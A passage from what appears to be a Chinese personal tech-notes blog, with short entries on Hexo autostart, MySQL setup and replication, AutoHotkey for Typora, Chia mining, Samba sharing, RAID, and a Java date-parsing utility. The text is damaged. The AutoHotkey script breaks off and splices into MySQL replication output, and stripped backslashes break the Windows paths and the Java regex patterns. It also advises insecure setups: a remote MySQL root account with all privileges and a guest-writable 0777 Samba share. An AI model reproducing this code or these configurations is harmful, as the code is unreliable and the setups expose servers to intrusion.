false, "features": { "buildkit": true }, "registry-mirrors": [ "https://telvr77k.mirror.aliyuncs.com" ] } ### Windows hexo博客开机自动启动设置 创建.bat文件,并输入下面的命令行(hexo路径实际路径填写) @ECHO OFF cd /d "E:hexoblog" start hexo server cd /d "E:hexopmp" start hexo server EXIT 然后把文件放到下面的目录下面 Windows 10 系统: C:\ProgramData\Microsoft\WindowsStart\Menu\Programs\Startup Windows 11系统: C:\Users\Cheng\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 其他方式获取Windows 的开机启动目录 键盘win+R 然后输入shell:startup;就会弹出Windows 系统的开机启动目录; PC 重启查看效果 ### Google Analytics 获取跟踪代码 Google Analytics(分析) 如果您的页面上已有为其他 Google Analytics(分析)媒体资源植入的 gtag.js,请按照以下步骤来为此数据流启用代码,而不必更改页面中的源代码: 在单独的窗口中,打开控制您的页面内代码的 Google Analytics(分析)媒体资源。依次转到管理 > 跟踪信息 > 跟踪代码。在“全局网站代码 (gtag.js)”下点击已关联的网站代码。关联此衡量 ID:G-***************。 Google 跟踪代码管理器 打开在您的网页上实现的 Google 跟踪代码管理器容器。依次点击代码 > 新建。点击代码配置,然后选择 GA4 配置。输入此衡量 ID:G-***************。选择在所有页面(或您想衡量的那部分页面)上触发此代码。保存并发布您的代码配置。 ### 软通动力测试可信考试 【2020/06/18】已经考了好几次模拟考试,离及格还差三分之一的分数,140分,100分及格,考60分钟。这个月25号,PMP考试先不管公司的考试了。 【2020/04/30】蛋疼考试不只是考Java,是测试考试中插入几个Java知识点。 【2020/04/28】这个有点烦,复习Java算法题。还要照顾PMP复习,时间有点不够啊。 【2020/05/24】是两个考试,一个可信考试,一个OD(算法题)。先把下一个月的PMP看完再看。 字符串分隔 描述 •输入一个字符串,请按长度为8拆分每个输入字符串并进行输出; •长度不是8整数倍的字符串请在后面补数字0,空字符串不处理。 输入描述: 连续输入字符串(每个字符串长度小于等于100) 输出描述: 依次输出所有分割后的长度为8的新字符串 示例1 输入: abc 输出: abc00000 import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner input = new Scanner(System.in); while(input.hasNextLine()){ String s = input.nextLine(); split(s); } } public static void split(String s){ while(s.length()>=8){ System.out.println(s.substring(0,8)); s=s.substring(8); } if(s.length()<8 && s.length()>0){ s+="00000000"; System.out.println(s.substring(0,8)); } } } 字符串最后一个单词的长度 描述 计算字符串最后一个单词的长度,单词以空格隔开,字符串长度小于5000。(注:字符串末尾不以空格为结尾) 输入描述: 输入一行,代表要计算的字符串,非空,长度小于5000。 输出描述: 输出一个整数,表示输入字符串最后一个单词的长度。 示例1 输入: hello nowcoder 复制 输出: 8 说明: 最后一个单词为nowcoder,长度为8 import java.util.Scanner; public class Main { public static void main(String[] args) { // TODO Auto-generated method stub Scanner in = new Scanner(System.in); String s = in.nextLine(); int t = 0; for (int i = s.length() - 1; i >= 0; --i) { if (!String.valueOf(s.charAt(i)).equals(" ")) { t++; }else { break; } } System.out.println(t); } } 计算某字符出现次数 描述 写出一个程序,接受一个由字母、数字和空格组成的字符串,和一个字符,然后输出输入字符串中该字符的出现次数。(不区分大小写字母) 数据范围: 1 le n le 1000 1≤n≤1000 输入描述: 第一行输入一个由字母和数字以及空格组成的字符串,第二行输入一个字符。 输出描述: 输出输入字符串中含有该字符的个数。(不区分大小写字母) 示例1 输入: ABCabc A 输出: 2 import java.util.Scanner; public class Main { public static void main(String[] args) { // TODO Auto-generated method stub Scanner in = new Scanner(System.in); String s = in.nextLine().toUpperCase(); String a= in.nextLine().toUpperCase(); int t = 0; for (int i = s.length() - 1; i >= 0; --i) { if (String.valueOf(s.charAt(i)).equals(a)) { t++; } } System.out.println(t); } } ### Ubuntu MySQL 8.0.28 root默认账号开启远程连接 一、安装MySQL 第一步:安装deb sudo dpkg -i mysql-apt-config_0.8.11-1_all.deb sudo apt-get update 第三步:安装mysql,在弹出的页面里选择安装MySQL8 sudo apt-get install mysql-server mysql -uroot -p 二、查看权限表 mysql> use mysql; mysql> select host, user, authentication_string, plugin from user; 三、添加可以远程访问的账号 mysql> create user 'root'@'%' identified by '你自己的mysql密码'; mysql> grant all privileges on *.* to 'root'@'%'; mysql> flush privileges; ### picgo.log 文件为啥会有25G 这文件是干啥的?居然有25G? ### Typora 设置字体居中
这里输入要居中改的字体
### Typora 快捷方式给字体设置颜色 下载并安装 AutoHotkey(具体步骤可自行百度) 1)访问 AutoHotkey 主页 https://autohotkey.com 2)点击下载:  https://autohotkey.com/download/ahk-install.exe 桌面新建文件 MyHotkeyScript.ahk 将以下代码复制进去保存 注意文件后缀.ahk ; Typora ; 快捷增加字体颜色 ; SendInput {Text} 解决中文输入法问题 #IfWinActive ahk_exe Typora.exe { ; Ctrl+Alt+o 橙色 ^!o::addFontColor("orange") ; Ctrl+Alt+r 红色 ^!r::addFontColor("red") ; Ctrl+Alt+b 浅蓝色 ^!b::addFontColor("cornflowerblue") } ; 快捷增加字体颜色 addFontColor(color){ clipboard := "" ; 清空剪切板 Send {ctrl down}c{ctrl up} ; 复制 SendInput {TEXT} SendInput {ctrl down}v{ctrl up} ; 粘贴 If(clipboard = ""){ SendInput {TEXT} ; Typora 在这不会自动补充 }else{ SendInput {TEXT} show master status; +------------------+----------+--------------+------------------+ | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | +------------------+----------+--------------+------------------+ | mysql-bin.0000001| 100000 | wp | | +------------------+----------+--------------+------------------+ 1 row in set (0.00 sec) 记住File字段的mysql-bin.0000001,Position的100000 5)配置从数据库的slave 是MySQL语句,不是配置项里的配置,在从数据库执行下面的MySQL语句。 CHANGE MASTER TO MASTER_HOST='主服务器IP', MASTER_PORT=主服务器MySQL端口, MASTER_USER='远程连接的账号', MASTER_PASSWORD='远程连接的密码', MASTER_LOG_FILE='mysql-bin.0000001', MASTER_LOG_POS=100000; 开启salve Mysql>start slave; 6)查询从服务器的状态 mysql> show slave statusG *************************** 1. row *************************** Slave_IO_State: Waiting for master to send event Master_Host: 主服务器IP Master_User: 远程连接的账号 Master_Port: 主服务器MySQL端口 Connect_Retry: 60 Master_Log_File: mysql-bin.0000001 Read_Master_Log_Pos: 100000 Relay_Log_File: 不让你看-relay-bin.000002 Relay_Log_Pos: 001 Relay_Master_Log_File: mysql-bin.0000001 Slave_IO_Running: Yes Slave_SQL_Running: Yes Replicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: Last_Errno: 0 Last_Error: Skip_Counter: 0 Exec_Master_Log_Pos: 100000 Relay_Log_Space: 001 Until_Condition: None Until_Log_File: Until_Log_Pos: 0 Master_SSL_Allowed: No Master_SSL_CA_File: Master_SSL_CA_Path: Master_SSL_Cert: Master_SSL_Cipher: Master_SSL_Key: Seconds_Behind_Master: 0 Master_SSL_Verify_Server_Cert: No Last_IO_Errno: 0 Last_IO_Error: Last_SQL_Errno: 0 Last_SQL_Error: Replicate_Ignore_Server_Ids: Master_Server_Id: 111 1 row in set (0.00 sec) 查看Slave_IO_Running和Slave_SQL_Running状态是否都是Yes. 都是YES则配置成功 否则失败(Slave_IO_Running和Slave_SQL_Running其中一个是no,或者2个是no),如果失败了,可以查看MySQL相关日志,然后根据错误日志信息,一步一步解决。 主主备份就是主从备份反向操作 也适用于宝塔的MySQL数据库设置主从备份 7)测试 在主服务器的MySQL修改字段的值,然后查看从服务器MySQL的值 ### Ubuntu chia的日志路径 安装目录的根目录的.chia/mainnet/log ### chia:通过初筛的农田 意思就是通过初筛的田,才有资格抽奖。 比如过滤器前9个数字是0,田的数据也是钱9个0,则初筛通过。然后网络上所有通过初筛的田去竞争(证明的511/512左右失去资格)。 跟公司面试一样,要三面才有XCH 通过初筛的田只要不损坏,就可以一直抽奖。移动到其他硬盘也可以进行抽奖。 百度翻译 农民根据标牌点,他们的地块ID和子插槽挑战来计算地块过滤器-将它们哈希在一起以创建地块过滤器位。如果绘图过滤器位以9个零开始,则该绘图将通过该标牌点的过滤器,然后可以继续进行。对于每个标牌点,这将使网络上所有空间证明的511/512左右失去资格。每天有4608 * 2或9216个指示点,因此平均地块平均每24小时应通过过滤器18次。一旦地块通过了地块过滤器,它便与所有其他通过该地块过滤器的指示区的其他地块竞争最佳的空间证明。出于直觉上并非如此简单的原因, 只要地块通过过滤器,并且没有任何内部文件错误,该地块将始终有资格竞争最佳的空间证明。将地块移到另一个目录或服务器将不会更改其资格。 原文 What is the plot filter and why didn't my plot pass it? Farmers compute a plot filter based on the signage point, their plot id, and the sub-slot challenge - which are hashed together to create the plot filter bits. If the plot filter bits start with 9 zeroes, that plot passes the filter for that signage point, and can proceed. This disqualifies around 511/512 of all proofs of space on the network, for each signage point. There are 4608 * 2 or 9216 signage points per day so the average plot should pass the filter 18 times per 24 hours on average. Once a plot passes the plot filter it then competes for the best proof of space with every other plot that also passed that plot filter for that signage point. For reasons that aren't super simple to intuit, the only thing each plot is competing on is to have the best proof of space and thus the chances of getting a reward depend on total size of plots on the farm - even with the plot filter in place. As long as the plot passes the filter, and do not have any internal file errors, the plot will always be eligible to compete for the best proof of space. Moving the plot to another directory or server will not change its eligibility. ### 解决chia执行sh install-gui.sh报error electron@11.4.3 postinstall: `node install.js`错误 1)更换npm源 npm install cnpm -g --registry=http://registry.npm.taobao.org 2)更新npm cnpm install 3)重新执行sh install-gui.sh ### Chia(Ubuntu)版本升级 1)升级原因 每次打开chia的时候经常出现下面的一句话。百度了好久,找到是因为没有升级最新版本,提示要升级版本。 the application will stop working at block height XXXXX 2)升级步骤 方法一 cd chia-blockchain chia stop -d all deactivate git fetch git checkout latest git reset --hard FETCH_HEAD 方法二 # If you get RELEASE.dev0 then delete the package-lock.json in chia-blockchain-gui and install.sh again sh install.sh . ./activate chia init 方法三 # The GUI requires you have Ubuntu Desktop or a similar windowing system installed. # You can not install and run the GUI as root cd chia-blockchain-gui git fetch cd .. sh install-gui.sh cd chia-blockchain-gui npm run electron & ### Windwos Ubuntu 文件相互共享 1. 安装 samba sudo apt-get install samba 2)编辑 smb.conf文件 sudo vim /etc/samba/smb.conf 内容 以 XXX 账户的身份登录 [global] guest account = XXX 在最后添加下面几行: security = user [public] path = /home/xhr #共享的文件夹路径 public = yes writeable = yes browseable = yes guest ok = yes create mask = 0777 3)重启 /etc/init.d/smbd restart 4)Windows添加网络映射 ### chia 同步IP节点 46.174.197.118 155.4.70.1 79.211.234.251 50.126.106.218 92.234.250.72 112.10.221.113 173.32.151.66 71.184.94.250 136.56.64.30 5.70.190.247 端口都是8444 官方同步节点 introducer-apne.chia.net:8444 introducer-apse.chia.net:8444 introducer-or.chia.net:8444 introducer-va.chia.net:8444 introducer-eu.chia.net:8444 ### Chia绘图基础 介绍 首先,重要的是要知道,成为正大农场主的过程有两个截然不同的部分。创建地块或绘图,然后耕种地块。在本文中,我们将重点介绍创建情节的过程。机器和存储空间的类型与最终要用于场的硬件类型有很大不同。您可以在我们非常有用的资源库Wiki上看到一些示例性的农业钻机。 最初,我们建议您尝试根据周围的情况进行绘图。唯一需要注意的是,您想限制使用内部/消费级SSD作为临时空间创建的图的数量。SSD的使用寿命不同,我们提供有关SSD耐久性的详细信息。 您实际上根本不需要绘制k大于32的图。那些执行较大图的人要么是为了炫耀(我们鼓励这样做是为了娱乐),要么是为了最佳地填充特定驱动器上的开放空间。k32完成后将占用101.3 GiB的空间,但在创建时将总共需要332 GiB的临时空间。单个k32绘图过程永远不需要超过332 GiB的空间。这里需要注意,因为332吉字节使用1024作为其除数,而GB或千兆字节使用1000作为除数。这意味着您将需要356.5 GB的临时空间,而最终的绘图文件将占用108.8 GB。我们认识的一位专家可以在不到4个小时的时间内完成k32绘图,但是大多数专家在5个小时内就可以创建绘图,而大多数人平均需要9到12个小时左右。 创建绘图是一个将RAM,CPU周期,IO转移到磁盘的过程,并且在绘图的四个阶段中的每个阶段将以不同的方式使用它们。每个人都想要一个神奇的“正确”答案或使用AI来为自己的机器找出最佳的绘图策略。但是,几乎每台机器在这些参数之一上都是不同的,因此您只需要尝试一下即可。从长远来看,我们将能够查询您的机器并提出一些建议,但这不是今天。您真的必须进行测试。而且,各个Keybase渠道的专家也不知道您的最佳设置。 出发 第一阶段通过创建七个加密哈希表并将它们保存到您的临时目录中,来生成您所有的空间证明。第2阶段向后传播哈希,第3阶段对这些哈希进行排序并通过算法将其压缩到临时目录中,同时开始构建最终文件,第4阶段完成文件并将其移至最终图文件中。 主要瓶颈之一通常是临时目录下磁盘的总持续写入速度。如果您真的想快速运行而又不牺牲消费者使用的SSD进行绘图,那么我们建议您使用二手的数据中心SSD。NVMe比SAS快,而SAS比SATA快。本PC World存储技术概述可以解释这些首字母缩写词和不同之处。TBW(即写入的兆字节)通常是衡量SSD驱动器寿命的方式。一个k32在非位域模式下写入1.8TiB,在使能位域的情况下写入1.6 TiB。稍后会更多地介绍位域。 但是,制作一个最快的绘图通常不是最佳的绘图策略。通常,您会获得惊人的速度,因为您正在使用该多核处理器的Turbo核。绘制最多数据的人已经表明,您每天应该以TB(如果您是像我们这样的老学校,则为TiB)进行测量。每天获得最大TB的方法是并行绘制许多图。一些顶级绘图仪使用数据中心SSD。有些使用SAS驱动器。突袭0通常非常方便,可以将几个小型快速驱动器捆绑到一个说2TB的分区中,因此您可以在该虚拟驱动器上容纳5个k32临时空间。 所有这些都表明,对于我的个人绘图,我在临时目录和最终目录中都使用了USB 3.0上的2017 iMac和12TB Western Digital外置驱动器,大约每10个小时就会得到一个k32。 好的假设 目前有一些好的经验法则。这些可能会发生变化,因为我们将在发布后返回进行一些绘图速度的改进。首先,我们需要解释位域与没有位域绘图。最初,绘图仪不使用位域反向排序。从理论上讲,位域向后排序比不使用位域要快,而且我们已经知道,它可以节省总写操作的12%,但需要更多的RAM。我们有一种预感,我们可以将位域提高10%,并使其在更多处理器上运行,但是还不存在。我们所知道的是,只要您对总写入量增加12%感到满意,那么当SSD或快速SAS是您的临时目录时,没有位域可以更快地工作。如果您的临时目录位于常规硬盘上(例如我的),则位域比没有位域快20%。较旧的CPU可能看不到如上所述的速度增加。 回到规则,这里有一些。切勿触摸65536的条带大小。没有人发现可以超过该值的速度,我们很可能将其从选项列表中删除。(更新:截至21年3月11日,条带大小已作为一个选项被删除。)您几乎从来不希望使用除128以外的任何存储桶值。较少的存储桶对于每个绘图过程都需要更多的RAM。64个存储桶需要两倍的RAM。 就线程数而言,通常需要2到4。似乎4个线程的收益递减,而2个线程比1个线程好得多。更多的线程也需要更多的内存才能成功完成绘图。该线程当前仅在阶段1中使用。 RAM要求在位域和无位域之间是不同的。在相同设置下,位域需要比没有位域更多的RAM。这是各种RAM选择的图表,假设k32具有128个存储桶和2到4个线程: RAM MiB:最低限度中等的最大位域250034006750无位域140035003990 低于最小值,您的绘图将失败。中等的内存足以使您获得最大的速度改进,但不是全部。当您尝试并行获取更多绘图进程且RAM有限时,这很有用。使用任何超出最大值的东西都会浪费RAM,因为您不会更快地绘制。我们非常确定最小值和最大值,但是社区对于中等价值存在争议。由于我们拥有更好的数据,因此我们将相应地更新此图表,但希望尽快将其发布出去。 掌握绘图 大多数人开始从GUI进行绘图。您可以从那里并行成功地完成几个图,以掌握更多信息。随着人们选择变得更加认真,他们迁移到了命令行。值得注意的是,与MacOS或Linux相比,Windows的绘图时间要慢5-10%。 一旦获得一些经验,您可能会想知道如何并行创建越来越多的绘图。幸运的是,我们在YouTube上与制图专家一起播放了鸡尾酒。他们有很多关于他们的各种方法的分享。一些二手服务器和数据中心SSD,一些二手服务器和SAS驱动器用于临时目录,一些扩展了其消费/游戏机,还有一些则集中在许多较小的二手计算机上。他们中的许多人已经以绘图速度编译了参考绘图硬件的电子表格,以帮助您考虑可能要更改或购买的任何硬件,并查看绘图结果如何衡量。 在开始并行绘图时,需要注意不要在绘图时过度分配内存。如果您导致操作系统交换,您将不会对结果感到满意。您不必在线程数方面那么小心。 这也是一种非常常见的绘图策略,例如在您的游戏机上绘图,然后将您的绘图移动到具有许多USB端口的Raspberry Pi 4。您所需要的只是两台机器上相同的24字助记符。或者,您可以仅在Pi上运行一个远程收割机,并将其连接到正在运行节点和农民的游戏机上,并且仅在一台机器上拥有私钥。 尝试创建图的每个人都应阅读我们的存储库常见问题解答。它确实可以回答90%的有关绘图(和耕作)的问题。 阅读常见问题解答后,您可以在我们的公共Keybase频道上的这些频道中找到支持社区。 按键库通道话题#初学者对于这些问题,您不敢问#testnet对于所有测试网-中级技能水平#plotting-hardware专家绘图仪在这里。硬件,软件和绘图策略 ### Ubuntu 挖chai币(7.15更新) 1)安装chia币 git clone https://github.com/Chia-Network/chia-blockchain.git -b latest --recurse-submodules cd chia-blockchain/ sh install.sh 2)安装chia-gui 客户端 . ./activate sh install-gui.sh 3)启动chia客户端 . ./activate cd chia-blockchain-gui npm run electron & 4)登陆客户端进行新增耕地和硬盘选择 5)其他 支持最低设备 MacOS 10.14 Mojave Windows 10 Ubuntu 18.04(强烈建议20.04) 适用于Pi / ARM64的Raspberry Pi OS 64或Ubuntu 20.04(不建议用于绘图或Timelord) 树梅派设备最低要求 四核心 1.5Ghz的CPU 2GB内存 Python 3.7 以及更高版本 设置Plot文件对应内存和临时文件大小 New Temporary Space and Memory Requirements in 1.04 K-valueDRAM(MiB)Temp Space(Gib)Temp Space(Gib)323389238.32563374004304623414800900966352960018842023 比如设置K=32,需要占用内存3389M,临时文件最少356.5GB You can see some example plot sizes, times to plot, and working space needed based on various k's in these k size tables. Current working space needed for the default plotting options of a k=32 is 332GiB and the final file is approximately 101.4 GiB. There is small natural variation in temp space needed and the final file size of each plot.Note that 332GiB is 356.5GB. github 安装 :https://github.com/Chia-Network/chia-blockchain/wiki/INSTALL 6)问题 这个应该是临时文件太小(硬盘)了写不进去了 ### 树莓派通过vnc控制 sudo apt-get install tightservervncpasswdvncserver:1 获取端口为1在cmd 设置arp-a获取ip地址 bf开头的 由于端口号为1,则vncserver输入的ip地址为192.168.1.3::5901 (5900+1) ### 戴尔6I H700 H310 H710 阵列卡配置 戴尔6I H700 H310 H710 阵列卡配置教程 开机看见出现的时候 按Ctrl+R进入RAID配置界面 没有找到物理硬盘的话检查一下盘架有没有上错 进去以后按上键到最上面(PERC H700的位置)然后选择第一个Create New VD(创建新的VD)如果第一个不能选择就选择第三个foreign config——clear(清除之前的配置)然后再选择Create New VD RAID leveL选择RAID级别raid0是没有备份 把硬盘结合成一块 Raid5一块硬盘备份 最少需要三块硬盘 Raid10 两块硬盘备份 最少需要四块 移到物理磁盘的位置按空格键把硬盘选上(硬盘前面有个x代表选 硬盘容量要一样才能做到一起)选完之后选择OK 就创建完成了 可以创建多个阵列 后面如果再加硬盘按照这个步骤再创建一遍就可以了 如果不想把硬盘做在一起 就要创建多个RAID0每次只选择一块硬盘 ### Windows系统安装 Windows系统安装教程 一. 首先找一个8G大小的U盘(大于8G也可以)到360软件管家下载ultraiso 软碟通 也可以到MSDN官网里下载系统ISO镜像 下载完以后打开ultraiso软碟通 在下面的文件夹中找到之前下载系统镜像的所在位置 找到后双击一下系统的ISO镜像 打开后上面会出现系统文件 然后点击左上角启动——写入硬盘映像 制作U盘启动会格式化 U盘 先备份好U盘里的数据 制作好以后插到服务器上戴尔按F11选择U盘启动 惠普插上U盘默认从U盘启动 IBM按F12 选择USB storage 戴尔服务器选择Hard drive C:里面的USB选项 进去以后点击下一步开始安装系统 点击现在安装 然后接受条款 选择自定义安装 然后给硬盘分区 这里可以先只分C盘 剩下的到系统里分 点击驱动器选项高级里面的新建 在里面输入你需要C盘的容量大小 然后点击应用-确定 然后选择主分区点下一步就可以 等待系统安装完成后 大概十几分钟后 把剩下未分配的空间分一个盘符点击我的电脑右键——管理——存储——磁盘管理 未分配的位置点击右键 新建简单卷 这里可以根据你的需求来设置大小 默认点击下一步就可以 点击我的电脑右键——属性——高级系统设置——设置——高级——更改 设置好以后一直点击确定 然后重启服务器 如果没有安装独立显卡 不要升级或安装显卡驱动 安装后系统会变得很卡 网卡驱动也不要升级 ### Ubuntu 安装显卡驱动 查看显卡型号 ubuntu-drivers devices 安装显卡、 sudo ubuntu-drivers autoinstall ### Lightroom 日系预设   ### Oralce VM VirtalBox开启远程桌面 一、下载扩展包 下载地址:http://download.virtualbox.org/virtualbox/6.1.0_RC1/ 二、虚拟机安装扩展包 点击添加,选择刚下载的扩展包 ssas 三、开启远程 ### Ubuntu环境Oracle VM VirtualBox虚拟机安装Windows 10 一、安装racle VM VirtualBox sudo apt install virtualbox 二、打开虚拟机设置虚拟光盘选择ISO文件 三、新建虚拟机 ssasan三 四、添加第一步的虚拟光盘 五、安装系统 后面的步骤跟安装windows系统步骤一样 ### 阿里云最新免费申请SSL证书 1、进入证书资源包购买页 2、进入SSL证书页面配置 3、申请单个域名 4、后面步骤跟以前一样 ### 群晖安装Gitlab 一、进入套件中心搜索gitlab 二、安装gitlab 三、打开gitlab设置密码 进入页面会设置密码 账号是root 四、设置中文 ### 软件自动化用例总结(待完善) 一、自动化运用场景 1)冒烟测试 冒烟测试主要是用于版本(需求)变更后,或者安装部署环境前,进行一次简单的验证基本功能。确保后续正式测试能顺利进行。 2)回归测试 只要代码(需求)变更,就有可能对业务有影响,导致业务不能正常执行。或者是手工测试完后,对缺陷进行功能验证。 二、编写自动化要注意的地方 1)每个自动化用例能独立运行 自动化用例并行运行是要保证每个自动化用例不能相互影响,导致出现多个失败用例。 2)测试数据要自动创建和环境恢复 自动化前置条件用于功能验证数据要自动构造。 功能验证完需要删除前置条件构造的数据。防止其他用例受影响。在构造前置添加数据时,不能使用固定值,要用随机数。 3)一个自动化用例验证一个功能,用例之间不能存在包含关系 一个自动化用例验证一个功能。 4)自动化用例步骤前要写好备注 自动化用例需要写好备注,用于后期维护。 三、自动化用例 1)前置条件 用于自动化用例构造数据用于功能验证。 2)测试步骤 自动化用例功能验证和参数验证。 3)环境恢复 用于环境恢复,删除前置条件构造的数据。 ### Java 从String类型数据获取时间 package com.saiita.service; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.time.DateUtils; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.regex.Matcher; import java.util.regex.Pattern; public class DateFormatUtil { /** * * @Title: longToString * @Description:把13位的毫秒值转化为String类型格式化的时间格式 * @param time * @return: * @throws */ public static String longToString(long time) { Date date = new Date(time); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String newDate = sdf.format(date); return newDate; } /** * * @Title: DateToString * @Description: * @param time * @return: * @throws */ public static String DateToString(Date time) { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String newDate = sdf.format(time); return newDate; } public static String DateToString(Date time, String formatter) { SimpleDateFormat sdf = new SimpleDateFormat(formatter); String newDate = sdf.format(time); return newDate; } /** * * @Title: parseDate * @Description: 把String解析格式的时间转化为date * @param stringTime * @return: * @throws */ public static Date parseDate(String stringTime) { Date date = null; if (StringUtils.isNotBlank(stringTime)) { String[] pattern = new String[] { "yyyy年MM月dd日", "yyyy年MM月dd", "yyyy-MM", "yyyy年MM月dd日", "yyyyMM", "yyyy/MM", "yyyyMMdd", "yyyy-MM-dd", "yyyy/MM/dd", "yyyyMMddHHmmss", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy/MM/dd HH:mm:ss", "MM月dd日", "MM月dd", "MM", "MM月dd日", "MM", "MMdd", "MM-dd", "/MM/dd", "MMddHHmmss", "MM-dd HH:mm:ss", "MM-dd HH:mm", "MM/dd HH:mm:ss", }; try { date = DateUtils.parseDate(stringTime, pattern); } catch (ParseException e) { e.printStackTrace(); } } return date; } /** * * @Description: 把String格式的时间转化为date * @param stringTime * @return: * @throws */ public static Date formatDate(String stringTime) { Date date = null; if (StringUtils.isNotBlank(stringTime)) { String[] pattern = new String[] { "yyyy年MM月dd日HH时mm分ss秒", "yyyy年MM月dd日 HH时mm分ss秒", "yyyy年MM月dd日HH时mm分", "yyyy年MM月dd日 HH时mm分", "yyyy年MM月dd日 HH时", "yyyy年MM月dd日HH时", "yyyy年MM月dd日", "yyyy年MM月dd日HH:mm:ss", "yyyy年MM月dd日 HH:mm:ss", "yyyy年MM月dd日HH:mm", "yyyy年MM月dd日 HH:mm", "yyyy年MM月dd日 HH", "yyyy年MM月dd日HH", "yyyy-MM-dd HH时mm分ss秒", "yyyy-MM-dd HH时mm分", "yyyy-MM-dd HH时", "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM-dd HH", "yyyy/MM/dd HH时mm分ss秒", "yyyy/MM/dd HH时mm分", "yyyy/MM/dd HH时", "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM/dd HH", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM.dd HH", "yyyy.MM.dd", "yyyyMMdd", }; try { date = DateUtils.parseDate(stringTime, pattern); } catch (ParseException e) { e.printStackTrace(); } } return date; } /** * * @Description: 从字符串中截取出正确的时间 * @param stringTime * @return: * @throws */ public static Date cutDate(String stringTime) { String regs[] = { "d{4}年d{2}月d{2}日sd{2}时d{2}分d{2}秒", "d{4}年d{2}月d{2}日sd{1}时d{2}分d{2}秒", "d{4}年d{1}月d{2}日sd{1}时d{2}分d{2}秒", "d{4}年d{1}月d{2}日sd{2}时d{2}分d{2}秒", "d{4}年d{2}月d{2}日d{2}时d{2}分d{2}秒", "d{4}年d{2}月d{2}日sd{2}时d{2}分", "d{4}年d{1}月d{2}日sd{2}时d{2}分", "d{4}年d{1}月d{2}日sd{1}时d{2}分", "d{4}年d{1}月d{2}日sd{2}时d{2}分", "d{4}年d{2}月d{2}日d{2}时d{2}分", "d{4}年d{2}月d{2}日sd{2}时", "d{4}年d{2}月d{2}日sd{1}时", "d{4}年d{1}月d{2}日sd{2}时", "d{4}年d{1}月d{2}日sd{1}时", "d{4}年d{2}月d{2}日d{2}时", "d{4}年d{2}月d{2}日", "d{4}年d{2}月d{1}日", "d{4}年d{1}月d{2}日", "d{4}年d{1}月d{1}日", "d{4}年d{2}月d{2}日sd{2}:d{2}:d{2}", "d{4}年d{2}月d{2}日sd{2}:d{1}:d{2}", "d{4}年d{1}月d{2}日sd{2}:d{1}:d{2}", "d{4}年d{1}月d{2}日sd{2}:d{2}:d{2}", "d{4}年d{2}月d{2}日d{2}:d{2}:d{2}", "d{4}年d{2}月d{2}日sd{2}:d{2}", "d{4}年d{2}月d{2}日sd{1}:d{2}", "d{4}年d{1}月d{2}日sd{2}:d{2}", "d{4}年d{1}月d{2}日sd{1}:d{2}", "d{4}年d{2}月d{2}日d{2}:d{2}", "d{4}年d{2}月d{2}日sd{2}", "d{4}年d{2}月d{2}日sd{1}", "d{4}年d{1}月d{2}日sd{2}", "d{4}年d{1}月d{2}日sd{1}", "d{4}年d{2}月d{2}日d{2}", "d{4}-d{2}-d{2}sd{2}:d{2}:d{2}", "d{4}-d{2}-d{2}sd{1}:d{2}:d{2}", "d{4}-d{1}-d{2}sd{2}:d{2}:d{2}", "d{4}-d{1}-d{2}sd{1}:d{2}:d{2}", "d{4}-d{2}-d{2}sd{2}:d{2}", "d{4}-d{2}-d{2}sd{1}:d{2}", "d{4}-d{2}-d{2}sd{2}", "d{4}-d{2}-d{2}", "d{4}-d{2}-d{1}", "d{4}-d{1}-d{2}", "d{4}-d{1}-d{1}", "d{4}-d{2}-d{2}sd{2}时d{2}分d{2}秒", "d{4}-d{2}-d{2}sd{1}时d{2}分d{2}秒", "d{4}-d{1}-d{2}sd{2}时d{2}分d{2}秒", "d{4}-d{1}-d{2}sd{1}时d{2}分d{2}秒", "d{4}-d{1}-d{1}sd{1}时d{2}分d{2}秒", "d{4}-d{2}-d{2}sd{2}时d{2}分", "d{4}-d{2}-d{2}sd{1}时d{2}分", "d{4}-d{1}-d{2}sd{2}时d{2}分", "d{4}-d{1}-d{2}sd{1}时d{2}分", "d{4}-d{2}-d{2}sd{2}时", "d{4}-d{2}-d{2}sd{1}时", "d{4}-d{1}-d{2}sd{2}时", "d{4}-d{1}-d{2}sd{1}时", "d{4}.d{2}.d{2}", "d{4}.d{2}.d{1}", "d{4}.d{1}.d{2}", "d{4}.d{1}.d{1}", "d{4}.d{2}.d{2}sd{2}:d{2}:d{2}", "d{4}.d{2}.d{2}sd{1}:d{2}:d{2}", "d{4}.d{1}.d{2}sd{2}:d{2}:d{2}", "d{4}.d{1}.d{2}sd{1}:d{2}:d{2}", "d{4}.d{1}.d{1}sd{1}:d{2}:d{2}", "d{4}.d{2}.d{2}sd{2}:d{2}", "d{4}.d{2}.d{2}sd{1}:d{2}", "d{4}.d{1}.d{2}sd{2}:d{2}", "d{4}.d{1}.d{2}sd{1}:d{2}", "d{4}.d{2}.d{2}sd{2}", "d{4}.d{2}.d{2}sd{1}", "d{4}.d{1}.d{2}sd{2}", "d{4}.d{1}.d{2}sd{1}", "d{4}/d{2}/d{2}sd{2}时d{2}分d{2}秒", "d{4}/d{2}/d{2}sd{1}时d{2}分d{2}秒", "d{4}/d{1}/d{2}sd{2}时d{2}分d{2}秒", "d{4}/d{1}/d{2}sd{1}时d{2}分d{2}秒", "d{4}/d{2}/d{2}sd{2}时d{2}分", "d{4}/d{2}/d{2}sd{1}时d{2}分", "d{4}/d{1}/d{2}sd{2}时d{2}分", "d{4}/d{1}/d{2}sd{1}时d{2}分", "d{4}/d{2}/d{2}sd{2}时", "d{4}/d{2}/d{2}sd{1}时", "d{4}/d{1}/d{2}sd{2}时", "d{4}/d{1}/d{2}sd{1}时", "d{4}/d{2}/d{2}", "d{4}/d{2}/d{1}", "d{4}/d{1}/d{2}", "d{4}/d{1}/d{1}", 